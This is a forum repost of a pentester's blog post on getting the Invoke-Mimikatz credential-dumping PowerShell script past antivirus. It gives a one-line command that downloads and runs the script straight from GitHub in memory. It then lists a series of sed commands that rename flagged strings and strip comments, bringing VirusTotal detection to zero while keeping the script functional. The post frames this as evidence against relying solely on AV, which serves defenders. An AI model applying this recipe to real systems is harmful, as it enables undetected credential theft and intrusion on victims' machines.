Jump to content
Nytro

How to Bypass Anti-Virus to Run Mimikatz

Recommended Posts

How to Bypass Anti-Virus to Run Mimikatz

Carrie Roberts //

 

dNTcmogN-VRisbeibB7gi1N-JNgBMnd7IaM-z40h

Would you like to run Mimikatz without Anti-Virus (AV) detecting it? Recently I attempted running the PowerShell script “Invoke-Mimikatz” from PowerSploit on my machine but it was flagged by Windows Defender as malicious when saving the file to disk. Even when I ran this file without writing it to disk using the following command it still got caught.

powershell "IEX (New-Object Net.WebClient).DownloadString
('https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/
Invoke-Mimikatz.ps1');Invoke-Mimikatz"

-A0NgSXNcAeQCFKz1fSoJhoxxV1KMtrEghB3LBXj

wlitH5-UDX338e99hEtQFYoMk8ww0rTx9HTVnwnx

 

Windows Defender Detects Unmodified Mimikatz Script

Uploading the Invoke-Mimikatz.ps1 file to VirusTotal showed that 19 of 54 AV vendors currently detect this file as malicious.

IinU2MnIwdNOfb4_85W5AxxIlYxOFDDm5GnZweKZ

 

AV Detection Rate for Unmodified Mimikatz Script

As you may know, AV detection schemes can be weak, simply looking for specific words in the file. Often these words can be changed without changing the functionality. For example, changing “Invoke-Mimikatz” to “Invoke-Mimidogz” using the following Linux command brings the detection rate down to 8 of 54

sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1

PI68ipVDMSGhjO70BNSWs0YjQx0QWCeAtgfC9EaE

AV Detection Rate for “Katz” to “Dogz”

And how about getting rid of those unnecessary comments in the script?

sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1

sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1

UpVkfnD9gf2L5qw_uhE9USW8PvU1MTEweOVrmmJz

AV Detection Ratio After Removing Comments from Script

We are down to four (4) AV vendors detecting the malicious file after renaming “Katz” to “Dogz” and removing comments. A little further experimentation shows that AV doesn’t like the word “DumpCreds”, let’s change it to “DumpCred”.

sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1

bBS8xeuq-hEllQf3Kkyk2u4w5nK2sNGYzyPvxyoH

 

AV Detection After Renaming “DumpCreds”

We are down to only two AV vendors detecting this file as malicious now. We could probably quit here and get a lot of mileage out of this script because who has even heard of those AV vendors anyway? But as my daughter would say after reading the disclaimer on hand sanitizer, “Why don’t they just put a little bit more in and kill ‘em all!?”

 

6UYT_BrPa10LQI0jNR5AzedufZXikUD-38p0JS8y

 

So let’s do this. Just add three more match and replace rules and “Winner, winner, chicken dinner!” The complete list of match and replace commands is listed below.

sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1

sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1

sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1

sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1

sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' 
Invoke-Mimikatz.ps1

sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions 
\$Win32Functions #\-/g" Invoke-Mimikatz.ps1

FyM5Y6b9_FV0viBM_G1GMrDfsAjv3gfx0BdJL84U

 

No AV Detection After Match and Replace Rules

 

Ix8hRRU-AeJBHQD9PSjGe8DdVIrx-X0LiiCPWSz0

 

We successfully modified the Mimikatz script to avoid AV detection without changing the functionality. Great evidence to why you should not rely solely on your AV for protection.

 

RyC4cIphHOlrHVI7_Gx67jc8wfBBftJM4dVcvZJi

 

Modified Mimikatz Script Still Functional

For additional information on bypassing Anti-Virus, check out the “Sacred Cash Cow Tipping” webcast series.

 
 
  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...